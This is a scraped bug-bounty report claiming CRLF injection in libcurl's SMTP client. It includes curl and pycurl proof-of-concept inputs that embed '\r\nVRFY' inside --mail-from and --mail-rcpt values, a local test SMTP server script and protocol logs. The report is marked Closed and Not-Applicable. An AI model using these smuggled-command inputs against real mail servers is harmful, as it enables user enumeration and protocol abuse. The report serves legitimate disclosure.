Loading HuntDB...

CRLF injection in libcurl's SMTP client via --mail-from and --mail-rcpt allows SMTP command smuggling

Medium
C
curl
Submitted None
Reported by skrcprst

Vulnerability Details

Technical details and impact analysis

CRLF Injection
## Summary: libcurl's SMTP client is vulnerable to CRLF injection via the `--mail-from` and `--mail-rcpt` parameters. An attacker can inject newline characters to smuggle SMTP commands like `VRFY`, potentially enabling user enumeration or protocol abuse. While curl may fail after injection, the injected commands are executed by the SMTP server, confirming the vulnerability. ### AI statement Yes, I have used AI to find the vulnerability. ## Affected version I have tested on Ubuntu 24.04.2 with: - curl 8.5.0 (system) - curl 8.15.0-DEV (my local build) - PycURL/7.45.6 with libcurl/8.12.1-DEV The full system curl version: ```shell $ curl -V curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7 Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd ``` The full local build version: ```shell $ curl -V curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7 Release-Date: [unreleased] Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd ``` ## Steps To Reproduce: 1. run a test SMTP server; the one I used is listed below named `smtp_server`, ran as `./smtp_server` and listened at `localhost:1025` 1. send an email with normal email addresses, something like: `curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txt` where `mail.txt` is a text file -- curl finishes normally 1. now send an email with injected CRLF's, for example in the "from" field, something like: `curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt` -- curl fails with `DATA failed: 250` as the server sent `250 OK ...` to the injected `VRFY` command instead of expected `354`; this is demonstrating a CRLF injection took place I believe the problem arises since `"MAIL FROM:%s%s%s%s%s%s"` in `smtp_perform_mail` in `smtp.c` concatenates mail fields without sanitization (and `smtp_parse_address` does not sanitize "\r\n" either). ## Supporting Material/References: Normal mail send: ```shell $ curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txt * Host localhost:1025 was resolved. * IPv6: ::1 * IPv4: 127.0.0.1 * Trying 127.0.0.1:1025... * Connected to localhost (127.0.0.1) port 1025 < 220 test-smtpd Python SMTP 1.4.6 > EHLO mail.txt < 250-test-smtpd < 250-SIZE 33554432 < 250-8BITMIME < 250-SMTPUTF8 < 250 HELP > MAIL FROM:<[email protected]> SIZE=4 < 250 OK > RCPT TO:<[email protected]> < 250 OK > DATA < 354 End data with <CR><LF>.<CR><LF> } [4 bytes data] * We are completely uploaded and fine < 250 Message accepted for delivery * Connection #0 to host localhost left intact ``` Sending with CRLF in "from" field: ```shell $ cat mail.txt Huh? $ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt * Host localhost:1025 was resolved. * IPv6: ::1 * IPv4: 127.0.0.1 * Trying 127.0.0.1:1025... * Connected to localhost (127.0.0.1) port 1025 < 220 test-smtpd Python SMTP 1.4.6 > EHLO mail.txt < 250-test-smtpd < 250-SIZE 33554432 < 250-8BITMIME < 250-SMTPUTF8 < 250 HELP > MAIL FROM:<[email protected] > VRFY [email protected] > SIZE=4 < 250 OK > RCPT TO:<[email protected]> < 250 OK: John X Doe <[email protected]> > DATA < 250 OK * DATA failed: 250 > QUIT < 354 End data with <CR><LF>.<CR><LF> * Closing connection curl: (55) DATA failed: 250 ``` Sending with CRLF in "rcpt" field: ```shell $ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-from "[email protected]" --upload-file mail.txt * Host localhost:1025 was resolved. * IPv6: ::1 * Trying 127.0.0.1:1025... * Connected to localhost (127.0.0.1) port 1025 < 220 test-smtpd Python SMTP 1.4.6 > EHLO mail.txt < 250-test-smtpd < 250-SIZE 33554432 < 250-8BITMIME < 250-SMTPUTF8 < 250 HELP > MAIL FROM:<[email protected]> SIZE=4 < 250 OK > RCPT TO:<[email protected] > VRFY [email protected] > < 250 OK > DATA < 250 OK: John X Doe <[email protected]> * DATA failed: 250 > QUIT < 354 End data with <CR><LF>.<CR><LF> * Closing connection curl: (55) DATA failed: 250 error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55 ``` Sending with CRLF using `pycURL`: ```shell $ ./send-with-pycurl 2025-07-03 15:08:38.173 | INFO | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0 2025-07-03 15:08:38.173 | INFO | __main__:send:22 - sending email from '[email protected]\r\nVRFY [email protected]' to '[email protected]' 2025-07-03 15:08:38.176 | ERROR | __main__:send:32 - exception: (55, 'DATA failed: 250') ``` Server logs (for the illustration): ```shell $ ./smtp_server SMTP server running at localhost:1025 (Ctrl+C to stop) 2025-07-03 15:08:23.449 | INFO | __main__:handle_blocked:24 - Message received -- from: [email protected], to: ['[email protected]'] 2025-07-03 15:08:23.449 | INFO | __main__:handle_blocked:25 - blocked:>>>Huh? <<< 2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: [] 2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>' 2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: [] 2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>' ``` `smtp_server` script: ```python #!/usr/bin/env -S uv run -q --script # /// script # dependencies = [ # "loguru", # "aiosmtpd", # ] # /// from aiosmtpd.controller import Controller from aiosmtpd.smtp import SMTP from loguru import logger class MessageHandler: async def handle_DATA(self, server, session, envelope): logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos) logger.info("blocked:>>>{}<<<", envelope.content.decode("utf8", errors="replace")) return "250 Message accepted for delivery" async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs): logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos) USERS = { "[email protected]": "John X Doe", } if full_name := USERS.get(address.lower()): response = f"250 OK: {full_name} <{address}>" else: response = f"550 No such user {address}" logger.info("Sending back {!r}", response) return response class MyController(Controller): def factory(self): """Subclasses can override this to customize the handler/server creation.""" kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"} return SMTP(self.handler, **kwargs) if __name__ == "__main__": handler = MessageHandler() controller = MyController(handler, hostname="127.0.0.1", port=1025) controller.start() print("SMTP server running at localhost:1025 (Ctrl+C to stop)") import time try: while True: time.sleep(1) except KeyboardInterrupt: controller.stop() ``` `send-with-pycurl` script: ```python #!/usr/bin/env -S uv run -q --script # /// script # dependencies = [ # "loguru", # "pycurl", # ] # /// import io import pycurl from loguru import logger def send(sender, recipient): msg = f"""\ From: {sender} To: {recipient} Subject: Hello from pycurl This is the email body. """ logger.info("sending email from {!r} to {!r}", sender, recipient) c = pycurl.Curl() c.setopt(pycurl.URL, "smtp://localhost:1025") c.setopt(pycurl.MAIL_FROM, sender) c.setopt(pycurl.MAIL_RCPT, [recipient]) c.setopt(pycurl.UPLOAD, 1) c.setopt(pycurl.READDATA, io.BytesIO(msg.encode())) try: c.perform() except Exception as exc: logger.error("exception: {}", exc) c.close() if __name__ == "__main__": logger.info("pycurl version: {}", pycurl.version) send("[email protected]\r\nVRFY [email protected]", "[email protected]") ``` ## Impact ## Summary: This vulnerability allows attackers to inject arbitrary SMTP commands, like VRFY, by crafting malicious email addresses. It can lead to user enumeration, bypass of client-side restrictions, or disruption of the SMTP session, especially in automated or proxy-based email workflows.

Report Details

Additional information and metadata

State

Closed

Substate

Not-Applicable

Submitted

Weakness

CRLF Injection